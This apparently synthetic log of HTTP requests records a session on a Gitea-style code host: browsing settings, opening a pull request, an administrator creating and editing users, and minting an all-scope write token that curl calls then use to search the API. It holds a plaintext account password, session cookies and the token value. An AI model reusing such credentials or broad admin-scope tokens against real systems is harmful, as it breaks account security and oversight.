{"method": "GET", "target": "/user/settings/appearance", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/settings/security", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/settings/keys", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/settings/packages", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/notifications", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice?tab=activity", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice?tab=stars", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/org/acme/dashboard", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/acme", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/53bce4f1dfa0fe8e7ca126f91b35d3a6", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/acme", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/settings/branches", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/settings/hooks", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/settings/units", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo/migrate", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/-/packages", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: session=b7d8a1e4a0871671; lang=en-US"], "body": ""}
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=b7d8a1e4a0871671; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/settings/applications/tokens/new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=890deb73026afc5f; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
{"method": "POST", "target": "/alice/tools/compare/main...python3-migration", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 764", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaGATihSdXZHYz0ae", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": "------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nMove to python3\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nPorts the scripts.\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"label_ids\"\r\n\r\n\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"milestone_id\"\r\n\r\n\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"project_id\"\r\n\r\n\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"assignee_ids\"\r\n\r\n\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae\r\nContent-Disposition: form-data; name=\"redirect_after_creation\"\r\n\r\n\r\n------WebKitFormBoundaryaGATihSdXZHYz0ae--\r\n"}
{"method": "POST", "target": "/-/fetch-redirect", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 37", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": "redirect=%2Falice%2Ftools%2Fpulls%2F2"}
{"method": "GET", "target": "/alice/tools/pulls/2", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/compare/main...python3-migration", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/issues/2/content-history/overview", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls/2", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/css/pull-request-merge-form.08cfd3a0.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/pulls/2", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/pull-request-merge-form.8413f096.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls/2", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/pulls", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/pulls/2", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/pulls/2/commits", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/pulls/2/files", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/css/diff-commit-selector.17df8f29.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/pulls/2/files", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/diff-commit-selector.302a470f.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls/2/files", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
{"method": "POST", "target": "/user/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 142", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": "name=alice&full_name=Alice+Example&pronouns=&biography=Writes+build+tools.&website=https%3A%2F%2Fexample.com&location=Springfield&visibility=0"}
{"method": "POST", "target": "/admin/users/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 185", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users/new", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": "_autofill_dummy_username=&_autofill_dummy_password=&login_type=0-0&visibility=0&login_name=&user_name=carol&email=carol%40example.com&password=Qe5-tVb7-Mn3c-Kj8y&must_change_password=on"}
{"method": "GET", "target": "/admin/users/4", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users/new", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US; flash=success%3DThe%2Buser%2Baccount%2B%2522carol%2522%2Bhas%2Bbeen%2Bcreated."], "body": ""}
{"method": "GET", "target": "/avatars/d4766e3f21c67b7c786f012d910fa54f?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/users/4", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/users/2/edit", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
{"method": "POST", "target": "/admin/users/2/edit", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 265", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users/2/edit", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": "_autofill_dummy_username=&_autofill_dummy_password=&user_name=bob&login_type=0-0&visibility=0&login_name=&full_name=Bob+Example&pronouns=&email=bob%40example.com&password=&language=en-US&website=&location=&max_repo_creation=-1&active=on&allow_create_organization=on"}
{"method": "GET", "target": "/admin/users/2", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users/2/edit", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US; flash=success%3DThe%2Buser%2Baccount%2Bhas%2Bbeen%2Bupdated."], "body": ""}
{"method": "POST", "target": "/user/settings/applications/tokens/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 241", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/applications/tokens/new", "Accept-Encoding: gzip, deflate", "Cookie: session=34fdf904aa90270d; lang=en-US"], "body": "name=build-token&repo_search=&page=1&scope=write%3Aactivitypub&scope=write%3Aadmin&scope=write%3Aissue&scope=write%3Amisc&scope=write%3Anotification&scope=write%3Aorganization&scope=write%3Apackage&scope=write%3Arepository&scope=write%3Auser"}
{"method": "POST", "target": "/user/settings/applications/tokens/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 254", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/applications/tokens/new", "Accept-Encoding: gzip, deflate", "Cookie: session=8ed5d13514629cf4; lang=en-US"], "body": "name=build-token&resource=all&repo_search=&page=1&scope=write%3Aactivitypub&scope=write%3Aadmin&scope=write%3Aissue&scope=write%3Amisc&scope=write%3Anotification&scope=write%3Aorganization&scope=write%3Apackage&scope=write%3Arepository&scope=write%3Auser"}
{"method": "GET", "target": "/user/settings/applications", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/applications/tokens/new", "Accept-Encoding: gzip, deflate", "Cookie: session=8ed5d13514629cf4; lang=en-US; flash=info%3D518efde244d57864ef12487cdec73aa828e5deaf%26success%3DYour%2Bnew%2Btoken%2Bhas%2Bbeen%2Bgenerated.%2BCopy%2Bit%2Bnow%2Bas%2Bit%2Bwill%2Bnot%2Bbe%2Bshown%2Bagain."], "body": ""}
{"method": "GET", "target": "/api/v1/version", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/user", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/settings/api", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/search?q=python3&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/search?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/users/search?q=bob", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/users/search?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/issues/search?q=ls%20-la&type=issues", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/issues/search?q=build", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=all&q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
